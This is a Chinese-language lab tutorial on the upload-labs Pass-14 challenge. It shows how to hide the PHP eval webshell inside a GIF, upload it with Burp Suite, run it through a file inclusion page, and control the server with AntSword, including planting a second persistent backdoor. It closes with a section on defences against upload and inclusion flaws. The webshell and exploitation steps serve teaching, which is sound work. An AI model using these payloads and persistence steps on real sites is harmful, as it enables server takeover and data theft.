1. 从零开始:理解图片马与文件包含漏洞的实战价值
大家好,我是老张,在安全测试这行摸爬滚打了十来年,今天想和大家聊聊一个非常经典、实战中又极其有效的组合技:用Burpsuite和蚁剑搞定图片马上传和文件包含漏洞。这听起来可能有点“黑话”,但别担心,我会用最直白的方式给你讲明白。
简单来说,这就像一场“特洛伊木马”式的攻击。想象一下,你有一个网站,它允许用户上传头像(图片),但同时这个网站有个“坏习惯”,它会不加区分地执行用户上传文件里的代码。我们的目标就是:制作一个外表看起来是“木马”(图片),但肚子里藏着“士兵”(PHP后门代码)的文件,骗过网站的保安(上传检测),然后利用网站的“坏习惯”(文件包含漏洞),把“士兵”放出来,最终拿到整个网站服务器的控制权。
在这个过程中,Burpsuite 是我们的“瑞士军刀”,用来拦截和修改浏览器发送给网站的请求,欺骗网站;蚁剑 则是我们的“遥控指挥中心”,一旦后门部署成功,就能通过它来可视化地管理服务器。而 upload-labs 是一个专门用来练习文件上传漏洞的靶场环境,其中的Pass-14关卡,正是我们今天要攻破的“训练场”。
这个技术组合为什么重要?因为在真实的网站渗透测试中,文件上传点遍地都是,而开发人员稍有不慎,就可能写出有缺陷的检测逻辑。学会这一套,你不仅能深刻理解安全漏洞的原理,更能掌握一套行之有效的验证和利用方法。下面,我们就挽起袖子,一步步来实操。
2. 环境搭建与靶场准备
工欲善其事,必先利其器。在开始“制作木马”和“投放士兵”之前,我们得先把战场布置好。这里不需要复杂的云服务器,我们在自己的电脑上就能完成所有操作。
2.1 搭建upload-labs靶场
首先,我们需要一个名为 upload-labs 的漏洞练习平台。它是一个用PHP写的、集成了各种文件上传漏洞场景的靶场,完美复现了开发中可能出现的各种错误。你可以把它想象成一个“漏洞主题乐园”,而Pass-14就是我们今天要挑战的特定关卡。
安装步骤:
- 你需要一个PHP运行环境。最简单的方法是安装一个集成环境软件,比如 PHPStudy 或 XAMPP。我习惯用PHPStudy,因为它切换PHP版本非常方便。
- 下载upload-labs的源码。你可以在GitHub上搜索“upload-labs”找到它,通常是一个ZIP压缩包。
- 将解压后的整个文件夹,放到你PHP环境的网站根目录下。例如,PHPStudy的根目录通常是
www文件夹。 - 启动PHPStudy,确保Apache和MySQL服务都运行起来(对于upload-labs,其实只需要Apache和PHP)。
- 打开浏览器,访问
http://localhost/upload-labs/(具体路径根据你的放置位置调整),如果能看到upload-labs的首页,说明环境搭建成功。
进入靶场后,你会看到一系列关卡。直接找到并点击“Pass-14”进入。这一关的提示往往比较隐晦,需要我们自己去查看源代码,这正是实战的常态——漏洞不会自己跳出来告诉你。
2.2 配置Burpsuite与浏览器代理
接下来,配置我们的核心工具 Burpsuite。它是一个代理服务器,能让我们看到并修改浏览器和网站之间所有的“对话”(HTTP请求和响应)。
配置流程:
- 启动Burpsuite:打开它,在启动向导中选择“Temporary project”(临时项目),然后点击“Next”直到看到主界面。
- 开启代理监听:切换到 Proxy 标签页,再进入 Options 子标签。确保
Proxy Listeners下有一个监听器在运行,默认通常是监听本机(127.0.0.1)的8080端口。如果没有,就点击“Add”添加一个。 - 浏览器设置代理:以Chrome为例,你可以安装 SwitchyOmega 这样的代理管理插件。新建一个情景模式,配置代理服务器为
127.0.0.1,端口为8080,代理协议选择HTTP。然后启用这个情景模式。 - 安装Burpsuite证书(可选但推荐):为了能拦截和查看HTTPS流量,你需要在浏览器中安装Burpsuite的CA证书。在Burpsuite中,通过
Proxy->Options->Import / export CA certificate导出证书,然后在浏览器的证书管理设置中导入并信任它。 - 测试拦截:在Burpsuite的
Proxy->Intercept标签下,确保“Intercept is on”按钮是按下状态。然后刷新一下upload-labs的页面,你应该能看到请求被Burpsuite截获了。这说明代理配置成功。
完成以上两步,我们的实验室就准备就绪了。有了靶场和拦截工具,接下来就可以开始制作我们的“特洛伊木马”——图片马了。
3. 核心技艺:制作能绕过检测的图片马
现在来到最关键也最有趣的一步:制作图片马。所谓图片马,就是一个包含恶意代码的图片文件。网站的上传功能会对文件进行检查,我们的目标就是让这个“混合体”通过检查。
3.1 剖析Pass-14的检测逻辑
在动手制作前,我们必须当个“侦探”,先搞清楚Pass-14这个关卡的保安(检测逻辑)是怎么工作的。根据经验和大纲提示,我们需要查看前端页面源码和可能的服务器端提示。
通常,Pass-14会使用一种基于文件头(File Header)的检测方式。文件头是文件开头的一小段二进制数据,像文件的“身份证”,用来标识文件类型。例如,JPEG 图片的文件头是 FF D8 FF E0,PNG 图片的是 89 50 4E 47。
我们查看Pass-14的源码,可能会发现类似这样的PHP代码片段:
$info = getimagesize($_FILES['upload_file']['tmp_name']);
if($info){
// 检查文件头...
}
或者更直接地,像大纲里提到的:读取前两个字节,解包(unpack)并转换成十进制数进行判断。例如,GIF 图片的前两个字节是 GIF(ASCII码),转换成特定格式的数字后有一个固定值。
它的核心思路是: 服务器只认“身份证”(文件头),不关心文件身体里到底装了什么。只要文件开头看起来像一张合法的图片,它就会放行。这就给我们留下了巨大的操作空间——我们可以在一个真正的图片文件末尾,附加上我们的PHP后门代码。
3.2 手把手制作GIF图片马
我们以最普遍的GIF图片为例,因为它结构简单,文件头容易伪造。你可以随便找一张小的GIF动图或静图,或者自己用画图工具保存一个。这里我演示用命令行和文本编辑器来制作,这种方法最直接,也最能理解原理。
制作步骤:
-
准备原材料:在一个工作目录下,准备两个文件。
- 一个正常的GIF图片,命名为
normal.gif。 - 一个纯文本文件,里面写上我们的PHP后门代码,命名为
shell.php。后门代码非常简单:
这行代码的意思是,执行通过POST请求传递过来的名为<?php @eval($_POST['cmd']);?>cmd的参数的值。@符号用于抑制错误信息,eval()函数会执行字符串形式的PHP代码。这就是我们留在服务器上的“遥控器”。
- 一个正常的GIF图片,命名为
-
合成图片马:打开系统的命令行终端(Windows的CMD或PowerShell,Mac/Linux的Terminal),进入工作目录。使用
copy命令(Windows)或cat命令(Linux/Mac)进行二进制合并。- Windows命令:
copy /b normal.gif + shell.php trojan.gif - Linux/Mac命令:
cat normal.gif shell.php > trojan.gif
这个命令的作用是,将
normal.gif的二进制内容和shell.php的二进制内容,按顺序拼接起来,生成一个新文件trojan.gif。 - Windows命令:
-
验证文件:用文本编辑器(如VS Code、Notepad++)的十六进制查看模式打开
trojan.gif。你会看到文件开头是GIF89a这样的标准GIF文件头,翻到文件末尾,则能看到<?php @eval($_POST['cmd']);?>这段文本代码。这说明我们的图片马制作成功了!它前半部分是合法的图片数据,能通过文件头检测;后半部分是我们的后门,等待被触发。
现在,这个 trojan.gif 文件就是我们的“特洛伊木马”。从图片查看器看,它是一张正常的图;从服务器检测逻辑看,它也是张合法的图;但它的体内,却藏着我们精心准备的“士兵”。
4. 实战上传:用Burpsuite绕过前端与后端校验
木马造好了,接下来就是如何把它成功地“进贡”给网站。上传过程可能面临两道关卡:前端JavaScript校验和后端服务器校验。我们的Burpsuite在这里就要大显神通了。
4.1 拦截并修改上传请求
首先,访问upload-labs的Pass-14页面,你会看到一个标准的上传表单。
- 在Burpsuite中确保拦截功能(Intercept is on)是开启的。
- 在网页上选择我们制作好的
trojan.gif文件,然后点击上传按钮。 - 此时,浏览器发出的请求会被Burpsuite瞬间截获。你会在
Proxy->Intercept标签页下看到一个POST请求,其内容类型(Content-Type)是multipart/form-data,这就是上传文件的标准格式。
在这个被拦截的请求里,我们需要关注几个关键部分:
- 文件名:你会看到一行类似
Content-Disposition: form-data; name="upload_file"; filename="trojan.gif"的内容。这里的filename就是服务器接收到的文件名。 - 文件内容:在下面你会看到一大段乱码(其实是文件的二进制内容以文本形式显示),其中开头部分就能辨认出
GIF89a。 - Content-Type:通常还会有一行
Content-Type: image/gif,这是浏览器根据文件后缀自动添加的。
在什么情况下需要修改?
- 如果存在前端JS校验:有些上传点会在网页上用JavaScript检查文件后缀名(如只允许.jpg, .png)。这种检查非常弱,我们只需要在Burpsuite里把拦截到的请求中的
filename="trojan.gif"改成filename="trojan.jpg"就能轻松绕过。因为JS是在自己电脑上跑的,改掉发给服务器的请求,JS就管不着了。 - 针对Pass-14:它的检测在服务器端,基于文件头。我们制作的图片马已经符合要求,所以通常不需要修改请求内容。但这里有个非常重要的技巧:即使后端检测文件头,有时它也会参考
filename的后缀,或者Content-Type字段。为了确保万无一失,我们可以保持filename为.gif,并且确保Content-Type是image/gif,让请求看起来无比“正常”。
检查无误后,在Burpsuite点击 Forward 按钮,将这个请求放行,发送给服务器。
4.2 分析服务器响应与定位文件路径
请求放行后,我们立刻切换到 Burpsuite 的 HTTP history 标签页。这里记录了所有经过代理的请求和响应。找到刚才那个上传请求,查看它的 Response(服务器返回的响应)。
如果上传成功,响应页面通常会显示“文件上传成功!”之类的提示,并且最关键的是,它会告诉我们文件被保存到了服务器上的什么路径。这个路径信息至关重要,是我们后续利用漏洞的“门牌号”。
常见的返回路径可能是:
Uploads/trojan.gif../upload/trojan.gif- 一个包含日期子目录的路径,如
upload/20240527/trojan.gif
请务必把这个路径完整地记录下来。如果响应中没有明确显示,有时可能需要结合网站目录结构常识去猜测,或者查看页面源码中是否有隐藏信息。在upload-labs中,它通常会明确告诉你。
至此,我们的“木马”已经成功地被服务器接收并存放到了指定位置。但是,现在直接访问 http://localhost/upload-labs/uploads/trojan.gif,服务器只会把它当作一张图片来输出二进制数据,并不会执行藏在末尾的PHP代码。因为服务器默认只会把以 .php 结尾的文件交给PHP解析器去执行。这就需要请出我们的下一个漏洞——文件包含,来“激活”这个后门。
5. 漏洞利用:巧用文件包含激活图片马
文件包含漏洞,就像是网站的一个“万能引用”功能出了bug。它允许开发者将一个外部文件的内容动态地包含到当前的PHP脚本中执行,常用于加载配置文件、头部尾部模板等。但当这个被包含的文件路径可以由用户控制时,就出大问题了。
5.1 理解本地文件包含(LFI)漏洞
在upload-labs的Pass-14场景中,通常会模拟一个存在文件包含漏洞的页面,比如叫 include.php。这个页面的代码可能长这样:
<?php
$file = $_GET['file']; // 用户通过URL参数控制$file变量
include($file); // 直接包含用户指定的文件
?>
你看,$file 的值直接从URL的 ?file= 参数获取,然后未经任何过滤就交给了 include() 函数。攻击者就可以通过这个参数,让服务器去包含任何他想包含的文件,包括我们刚刚上传的图片马。
为什么包含图片马能执行PHP代码?
这是因为 include() 函数的工作机制:它会将指定文件的内容读取出来,并当作PHP代码来执行。无论这个文件的后缀是 .php、.txt 还是 .gif,只要其内容包含有效的PHP代码(即 标签内的部分),PHP解析器就会去执行它。当我们包含 `trojan.gif` 时,PHP引擎会从头到尾解析这个文件,虽然开头的图片二进制数据会导致一些警告错误(被我们代码中的`@`抑制了),但解析到文件末尾的 时,里面的 eval($_POST['cmd']) 就会被正常识别和执行。
5.2 构造利用链接与测试
现在,我们知道了文件包含漏洞页面的路径(假设是 include.php),也知道了图片马上传后的存储路径(假设是 uploads/trojan.gif)。接下来就是将它们组合起来。
-
构造包含链接:在浏览器中访问如下URL:
http://localhost/upload-labs/include.php?file=uploads/trojan.gif这个请求的意思是:访问
include.php页面,并告诉它,请包含uploads/trojan.gif这个文件。 -
观察结果:
- 如果页面没有报致命错误,而是显示了一片空白、一些乱码或者原图片的部分二进制字符,这很可能意味着包含成功。因为图片的二进制数据被当作PHP执行,产生了错误和乱码输出,但关键的后门代码已经被服务器加载。
- 更准确的测试方法是,直接用我们的“遥控器”来验证。但此时我们还没有蚁剑这样的图形化工具,可以用一个简单的方法:使用浏览器的开发者工具(F12)或者 HackBar 插件,向这个
include.php页面发起一个POST请求,并带上参数cmd=phpinfo();。
-
手动POST验证:
- 打开浏览器开发者工具的 Network(网络)标签。
- 在地址栏访问
http://localhost/upload-labs/include.php?file=uploads/trojan.gif。 - 在Network标签中找到这个请求,右键选择“Copy” -> “Copy as cURL”。
- 打开命令行,粘贴这条cURL命令,并在末尾添加
-d "cmd=phpinfo();"。完整的命令类似:curl -X POST 'http://localhost/upload-labs/include.php?file=uploads/trojan.gif' -d "cmd=phpinfo();" - 执行命令。如果服务器返回了包含PHP版本、配置等大量信息的页面(即
phpinfo()函数的输出),那么恭喜你!这确凿地证明,图片马中的PHP代码已经被成功执行,文件包含漏洞利用成功,我们已经在服务器上拥有了执行任意PHP代码的能力。
到了这一步,我们已经完成了最关键的突破。服务器的大门已经为我们敞开了一条缝。接下来,我们要把这条缝变成一扇可以自由进出的大门,这就需要引入功能更强大的客户端管理工具——蚁剑。
6. 建立持久控制:使用蚁剑连接与管理服务器
蚁剑(AntSword)是一款开源的网站管理软件,它提供了一个图形化界面来连接和使用网站后门。你可以把它理解为一种高度定制化的“远程桌面连接”,专门用于WebShell管理。相比手动在命令行里敲cURL命令,蚁剑要方便和强大得多。
6.1 蚁剑的安装与基本配置
首先,你需要去蚁剑的官方GitHub仓库下载对应你操作系统的安装包。安装过程很简单,一路下一步即可。安装完成后打开蚁剑,它的界面看起来可能有点简洁,但功能都藏在里面。
- 添加网站Shell:在蚁剑主界面,你会看到一个空白的列表。右键点击空白处,选择“添加数据”。
- 配置连接参数:会弹出一个配置窗口,这是最关键的一步。
- URL地址:这里填的不是我们图片马的路径,而是文件包含漏洞页面的地址,并且要带上包含我们图片马的参数。也就是我们刚才测试成功的那个链接:
http://localhost/upload-labs/include.php?file=uploads/trojan.gif。蚁剑会向这个地址发送请求。 - 连接密码:这个密码必须和我们图片马中后门代码里定义的参数名完全一致。在我们之前制作的
shell.php中,代码是eval($_POST['cmd']),这意味着我们通过POST传递的参数名是cmd。所以,在蚁剑的“连接密码”或“密码”字段里,就应该填写cmd。有些后门脚本的参数名可能是password、ant等,一定要对应上。 - 编码器与其它设置:对于简单的
eval后门,编码器通常选择default(默认)即可。其他选项如“请求头”、“超时时间”可以先保持默认。
- URL地址:这里填的不是我们图片马的路径,而是文件包含漏洞页面的地址,并且要带上包含我们图片马的参数。也就是我们刚才测试成功的那个链接:
填写完毕后,点击“添加”。如果一切配置正确,左侧的列表里就会出现一条新的记录,并且图标颜色正常,没有红色的错误标记。
6.2 功能演示与实战操作
双击这条新添加的记录,蚁剑就会尝试连接。连接成功后,主界面会分成左右两栏。左侧是服务器的文件目录树,右侧是功能操作区。你可以像操作本地文件管理器一样浏览服务器上的文件。
我来演示几个最常用的功能,你就能感受到它的威力:
- 文件管理:这是最基本的功能。你可以上传本地文件到服务器,下载服务器文件到本地,删除、重命名、编辑服务器上的任何文件(在权限允许的情况下)。试想,如果你能编辑网站首页的
index.php,是不是就能做很多事情? - 虚拟终端:点击类似命令行图标的按钮,可以打开一个虚拟终端。在这里,你可以直接输入操作系统命令,比如
whoami查看当前权限,pwd查看当前目录,ls -la列出文件,甚至cat /etc/passwd查看系统用户。这相当于获得了服务器的一个命令行shell。 - 数据库管理:如果服务器上运行了MySQL等数据库,蚁剑可以尝试连接并管理。你可以查看数据库、数据表,执行SQL语句,这对获取网站数据非常有用。
- 插件市场:蚁剑支持插件扩展。你可以安装一些扫描插件、提权辅助插件等,进一步扩大战果。
一个重要的实战技巧:
我们目前是通过“文件包含漏洞”这个桥梁来执行图片马里的后门。这种方式依赖于那个存在漏洞的 include.php 页面。为了获得更稳定、更持久的控制,我们通常会在连接成功后,利用蚁剑的文件管理功能,在服务器的Web目录下(比如 upload-labs 根目录),直接写入一个全新的、独立的PHP后门文件,例如 shell2.php。这样,以后我们就可以直接连接 http://localhost/upload-labs/shell2.php,不再需要依赖文件包含漏洞,控制会更加直接和稳定。
通过蚁剑,我们从一个只能执行单行命令的“小遥控器”,升级成了一个拥有图形化界面、功能丰富的“指挥控制中心”。整个服务器的面貌,在你面前变得一目了然。
7. 防御视角:如何避免你的网站被这样攻破
作为一名安全从业者,我深知“知己知彼,百战不殆”的道理。我们学习攻击手段,最终目的是为了更好地防御。走完了整个攻击流程,现在让我们换个角度,从开发者和运维者的身份看看,该如何筑起防线,避免自己的网站成为别人的“训练场”。
7.1 针对文件上传漏洞的防御策略
文件上传功能是Web应用的常见需求,绝不能因噎废食。关键在于实施多层次、纵深的安全检查。
- 白名单校验,且在后端进行:这是最根本的原则。不要信任前端(JavaScript)校验,所有校验必须在服务器端完成。只允许上传业务真正需要的文件类型,例如头像上传只允许
.jpg,.jpeg,.png,.gif。并且,这个校验要结合文件扩展名和文件内容类型(MIME Type) 双重判断。但正如我们所见,这还不够。 - 文件头校验与重写:对图片文件,可以使用
getimagesize()、exif_imagetype()等函数进行严格的文件头校验,确保它是一个完整的、结构正常的图片。更保险的做法是,使用GD库或Imagick等图片处理库,对上传的图片进行重采样、重压缩或格式转换,然后保存服务器新生成的图片文件。这样,即使原文件末尾附带了恶意代码,也会在图片处理过程中被彻底剥离掉。 - 重命名与隔离存储:永远不要使用用户上传的文件原名。应该使用随机生成的文件名(如UUID)来保存,并确保文件扩展名来自白名单。同时,上传的文件应存储在Web根目录之外的特定目录,并通过脚本(如PHP)来读取和输出,避免用户直接通过URL访问到上传文件。如果必须允许直接访问,也要配置服务器(如Nginx)对该目录禁止执行PHP等脚本。
- 限制文件大小与频率:设置合理的文件大小上限,并实施上传频率限制,防止攻击者上传超大文件耗尽磁盘空间,或进行暴力上传尝试。
7.2 根除文件包含漏洞的最佳实践
文件包含漏洞的根源在于“信任了用户的输入”。防御起来,核心思路就是“不信任,且严格控制”。
- 避免动态包含:如果可能,尽量使用静态包含。如果需要动态包含,也绝对不要将用户输入直接传递给包含函数(
include,require,include_once,require_once)。 - 固定化或白名单化包含路径:如果必须动态包含,应该预先定义好允许包含的文件列表(白名单),用户输入只能选择一个“键名”,而不是完整的“文件路径”。例如:
$allowed_pages = ['news' => 'news.php', 'about' => 'about.php']; $page = $_GET['page']; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include('default.php'); } - 设置PHP安全配置:在
php.ini配置文件中,将open_basedir设置为Web应用所在的目录,限制PHP只能访问指定目录树下的文件。同时,确保allow_url_include设置为Off,禁止包含远程URL文件,防止更严重的远程文件包含(RFI)漏洞。
7.3 构建整体安全监控体系
单点的防御容易被绕过,需要建立整体的安全感知。
- Web应用防火墙(WAF):部署WAF可以帮助拦截常见的攻击流量,如包含
../的路径遍历攻击、明显的WebShell连接请求等。 - 日志审计与监控:详细记录上传操作、文件包含操作的日志,并监控异常访问模式。例如,短时间内大量上传图片、频繁尝试包含不同路径的请求等,都可能是攻击迹象。
- 定期安全扫描与代码审计:使用自动化工具对网站进行定期漏洞扫描,并对业务代码(尤其是涉及用户输入和文件操作的部分)进行人工或工具辅助的安全审计。
说到底,安全是一个持续的过程,而不是一劳永逸的状态。通过今天这个从攻击到防御的完整旅程,我希望你不仅学会了一套工具的使用方法,更重要的是建立起一种“不信任用户输入”的安全思维。在实际项目中,每写下一行处理外部数据的代码时,都多问自己一句:“如果用户输入的是恶意的,我这里会出问题吗?” 多问这一句,可能就堵住了一个潜在的安全漏洞。
1万+



被折叠的 条评论
为什么被折叠?



